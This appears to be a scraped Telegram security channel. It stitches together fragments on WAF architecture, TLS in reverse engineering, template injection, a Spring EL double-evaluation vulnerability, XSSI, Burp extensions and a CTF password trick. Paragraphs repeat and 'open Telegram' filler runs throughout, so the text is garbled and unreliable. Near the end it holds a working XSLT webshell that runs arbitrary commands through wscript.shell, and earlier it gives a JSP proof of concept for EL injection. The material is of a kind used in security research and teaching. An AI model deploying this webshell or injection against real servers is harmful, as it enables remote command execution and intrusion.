PS.之前一直想把零零碎碎的知识整理下来,作为知识沉淀下来,正好借着wooyun峰会的机会将之前的流程又梳理了一遍,于是就有了下文。也希望整理的内容能给甲方工作者或则白帽子带来一些收获
随着网络安全越来越受到重视,发展越来越快。随之也出现了越来越多的安全防护的软件。例如有:
1.云waf;[阿里云盾,百度云加速,360网站卫士,加速乐等]
2.传统安全厂商的硬件waf以及一直存在的ips,ids设备;[绿盟,启明,深信服,安恒等]
3.主机防护软件如安全狗,云锁;
4.软waf如modsecurity,nginx-lua-waf等
1)一个完整的过程,首先会请求DNS,由于配置云waf的时候,会修改DNS的解析。我们发送DNS请求之后,域名会被解析到云WAF的ip上去。DNS解析完成之后,获取到域名信息,然后进入下一个步骤。
2)HTTP协议是应用层协议,且是tcp协议,因此会首先去做TCP的三次握手,此处不去抠三次握手的细节,假设三次握手建立完毕。
3)发送HTTP请求过去,请求会依次经过云WAF,硬件IPS/IDS设备,硬件WAF设备,服务器,web服务器,主机防护软件/软WAF,WEB程序,数据库。 云WAF,硬件IPS/IDS,硬件WAF均有自己处理数据的方式。云WAF与硬件WAF细节上不太清楚,对于硬件IPS有一定的了解。
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
逆向基础 OS-specific
🤘 🤘 🤘 🤘 🤘 🤘
💎 TLS是每个线程特有的数据区域,每个线程可以把自己需要的数据存储在这里。一个著名的例子是C标准的全局变量errno。多个线程可以同时使用errno获取返回的错误码,如果是全局变量它是无法在多线程环境下正常工作的。因此errno必须保存在TLS。
C++11标准里面新添加了一个thread_local修饰符,标明每个线程都属于自己版本的变量。它可以被初始化并位于TLS中。💎
🆒 🆒 🆒 🆒 🆒 🆒 🆒 🆒
rand_state现在处于TLS段,而且这个变量每个线程都拥有属于自己版本。它是这么访问的:从FS:2Ch加载TIB(Thread Information Block)的地址,然后添加一个额外的索引(如果需要的话),接着计算出在TLS段的地址。
最后可以通过ECX寄存器来访问rand_state变量,它指向每个线程特定的数据区域。
FS:这是每个逆向工程师都很熟悉的选择子了。它专门用于指向TIB,因此访问线程特定数据可以很快完成。
GS: 该选择子用于Win64,0x58的地址是TLS。
Listing 65.3: Optimizing MSVC 2013 x64
💎 💎 💎 💎 💎 💎 💎 💎 💎
C++11标准里面新添加了一个thread_local修饰符,标明每个线程都属于自己版本的变量。它可以被初始化并位于TLS中。
rand_state现在处于TLS段,而且这个变量每个线程都拥有属于自己版本。它是这么访问的:从FS:2Ch加载TIB(Thread Information Block)的地址,然后添加一个额外的索引(如果需要的话),接着计算出在TLS段的地址。
最后可以通过ECX寄存器来访问rand_state变量,它指向每个线程特定的数据区域。
FS:这是每个逆向工程师都很熟悉的选择子了。它专门用于指向TIB,因此访问线程特定数据可以很快完成。
GS: 该选择子用于Win64,0x58的地址是TLS。
Listing 65.3: Optimizing MSVC 2013 x64
_TLS SEGMENT
rand_state DD 01H DUP (?)
_TLS ENDS
_DATA SEGMENT
$SG85451 DB '%d', 0aH, 00H
_DATA ENDS
_TEXT SEGMENT
init$ = 8
my_srand PROC
mov edx, DWORD PTR _tls_index
mov rax, QWORD PTR gs:88 ; 58h
mov r8d, OFFSET FLAT:rand_state
mov rax, QWORD PTR [rax+rdx*8]
mov DWORD PTR [r8+rax], ecx
ret 0
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。(百度百科) 说白了,就是使得后端数据转换成前端html以及样式的中间应用件。
当今web应用频繁地使用模板系统,诸如Twig,FreeMarket等。当用户输入嵌入在一个很没有安全性的模板时,模板注射就可能发生。
现在我们假设调用了Twig框架用来显示欢迎页面,如果直接把名字传递给模板,不会出现错误 就像这样
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🎉🎉这个漏洞已经出来很久了,以前简单分析过,但是由于时间关系,没能深入研究原理,网上对这个漏洞的分析也不太多,最近由于工作原因,深入分析了一下这个漏洞的原理,这里重点将漏洞调试过程,以及一些之前遇到的一些奇怪问题的原因记录下来。
👀👀👀👀👀👀👀
🔥🔥可以看到,这个漏洞的形成,是因为在早于JSP2.0的版本上,由于没有EL表达式的支持,Spring标签为了兼容这部分版本,Spring的一部分标签独立于Servlet/JSP容器添加了对EL表达式的支持。但这样做引起了一个问题,就是当这部分标签在支持EL表达式的容器中运行的时候,Spring标签的属性会被当做EL表达式执行两次,第一次是被容器当做EL执行,第二次是被Spring标签自身执行。所以,如果攻击者可以控制标签属性的内容,就可以执行自己提交的EL表达式,会造成信息泄露、代码执行等风险。
首先编写一段测试JSP代码,并且引入存在漏洞的Spring标签,我这里使用的是Tomcat 7.0.57和Spring 3.0.5
👀👀👀👀👀👀👀
🔥🔥可以看到,这个漏洞的形成,是因为在早于JSP2.0的版本上,由于没有EL表达式的支持,Spring标签为了兼容这部分版本,Spring的一部分标签独立于Servlet/JSP容器添加了对EL表达式的支持。但这样做引起了一个问题,就是当这部分标签在支持EL表达式的容器中运行的时候,Spring标签的属性会被当做EL表达式执行两次,第一次是被容器当做EL执行,第二次是被Spring标签自身执行。所以,如果攻击者可以控制标签属性的内容,就可以执行自己提交的EL表达式,会造成信息泄露、代码执行等风险。
首先编写一段测试JSP代码,并且引入存在漏洞的Spring标签,我这里使用的是Tomcat 7.0.57和Spring 3.0.5
<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message text="${param.a}"></spring:message>
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
333😱😱Cross Site Script Inclusion (XSSI) 跨站脚本包含是一种攻击技术允许攻击者通过恶意js绕过边界窃取信息。具体的说,应该是通过潜入script标签加载外部数据,for example:
😱😱过去几年,web安全研究者之中通用的认识中js文件,jsonp, json,或者版本较老的浏览器都有可能受到这种方式的攻击,除此之外,还可以通过一些浏览器的漏洞来得到js的错误信息利用,不过目前应该已经修复的差不多了。
😱😱2025,我们针对这个技术进行了专门的研究,发现了一些有趣的利用技术和浏览器漏洞,可以获取一些简单的文本中的信息,比如csv,在一些特定的情境下还可以获得更复杂的信息。我们主要的研究方向在于通过客户端脚本去识别目标数据的方法,比如变量,或者函数
<!-- attacker's page loads external data with SCRIPT tag -->
<SCRIPT src="http://target.wooyun.org/secret"></SCRIPT>
😱😱过去几年,web安全研究者之中通用的认识中js文件,jsonp, json,或者版本较老的浏览器都有可能受到这种方式的攻击,除此之外,还可以通过一些浏览器的漏洞来得到js的错误信息利用,不过目前应该已经修复的差不多了。
😱😱2025,我们针对这个技术进行了专门的研究,发现了一些有趣的利用技术和浏览器漏洞,可以获取一些简单的文本中的信息,比如csv,在一些特定的情境下还可以获得更复杂的信息。我们主要的研究方向在于通过客户端脚本去识别目标数据的方法,比如变量,或者函数
Burpsuite作为web测试的神器,已经人手必备了。它提供的一系列互相配合的工具,极大的提高了手工测试的效率,从1.5版本开始,Burpsuite开始支持扩展。用户可以自己开发扩展实现一些特殊的需求。不过目前关于Burpsuite扩展开发的中文资料很少。这里抛砖引玉总结一下学习的过程。
目前burpsuite官方支持用java,python,ruby开发扩展,选择还是很多的。Brupsuite的扩展可以实现非常多的功能,比如自定义扫描,修改http请求和响应,修改burp配置等等。几乎所以burpsuite功能都支持在扩展中进行控制。所以其实是可以用扩展把自己经常使用的功能做成自动化的。
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
从反汇编的代码可能看到两个令人激动的函数,一个是
memfrob(),通过找男人(man)知道,这个函数是将输入的指定长度的字符串中的字符与数字42做异或,既然是异或操作,就是可逆的。另一个函数是strcmp(),这个函数才是最令人激动的,从整个程序流程大概看到,程序通过scanf()获取用户输入,然后通过memfrob()做异或处理,然后再送入strcmp()做匹配,所以,我们只要在strcmp()函数调用处下断点,然后查看栈内容就可以得到真正的密码了。id = getpid()
s = lstat("touch " + str(id))
if(s & 0xf000 == 0x8000){
unlink(str(id);
system("touch " + ID);
}
sleep(0x7d0);
system("cat " + str(id));
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
在第二行中,xmlns:msxsl为自定义函数块的命名空间,xmlns:zcg为自定义函数的命名空间与前缀,可以任意命名。
第三行的msxsl:script声明了一个脚本块,其language属性指定了要使用的脚本语言,implements-prefix则与前面xmlns:zcg这个命名空间前缀相对应。
在第七行通过zcg:xml(string(.))调用了这个自定义函数,由于自定义函数只能传入字符串、数字、日期等标量,以及XML的一系列对象,所以先通过string内置函数转换为字符串从而获取text,再传入函数中。同样的,由于Response、Server等对象是asp内置的,所以既不能在自定义函数中访问,也不能传递给自定义函数,所有的数据传递都是通过字符串进行的。
脚本块的函数则是简单的执行-返回,其返回值会替换所匹配的节点的内容,所以上述xsl的作用就是:将指定xml中/root节点的文本作为命令执行,并返回结果。
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="vbscript" implements-prefix="zcg">
<![CDATA[function xml(x):set a=createobject("wscript.shell"):set exec=a.Exec(x):xml=exec.stdout.readall&exec.stderr.readall:end function]]>
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml(string(.))"/>
</xsl:template>
</xsl:stylesheet>
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM